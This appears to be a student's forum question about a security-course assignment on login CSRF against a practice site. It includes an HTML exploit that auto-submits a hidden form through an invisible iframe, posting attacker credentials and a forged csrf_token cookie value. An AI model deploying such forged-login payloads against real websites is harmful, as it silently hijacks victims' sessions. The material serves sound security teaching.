in my security course, we were told to practice an xss attack using firefox on this website;
http://permalink.co/
No worries, this is a website specifically setup for us to practice security. The csrf field you see should be set to 1 (for token validation, token is random) and the xss field should be set to 0 for this practice. We should write an html file and include other languages like javascript, such that when our file is executed by the browser, it should just display a blank page. But when refreshed, it should show that we are logged into the website I gave above. The username is 'attacker, and the password is 'l33th4x'.
I basically need to lock in password, username, and token. I came up with a plan to use a cookie and set the token to 'abc'. So, when I come to login, i use the username and password that I know with token=abc that I knowingly set. But my code doesn't work, I was told I need two forms, first one for setting the cookie token to 'abc' and second one for logging in using the three parameters. But I don't see what to put in the 1st form. I came up with the code below but it doesn't work, I need help;
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title> set csrf to 0 and xss to 4 on http://permalink.co/ </title>
</head>
<body>
<iframe style="border:none;width:0px;height:0px" id="iframe_submit" name="iframe_submit"></iframe>
<form id="form_id" action="http://permalink.co/login" method="POST" target="iframe_submit">
<input type="hidden" name = "csrf_token" value="abc"><br>
<input type="hidden" name = "username" value="attacker"><br>
<input type="hidden" name = "password" value="l33th4x"><br>
</form>
<script type="text/javascript">
document.setcookie="csrf_token=abc";
document.forms["form_id"].submit();
</script>
</body>
</html>
For a first hand view of the question, visit the website below and look for number 2.1. This was due last month but I didn't understand it and exams are approaching; https://www.eecs.umich.edu/courses/eecs388/static/388-w15-proj2.pdf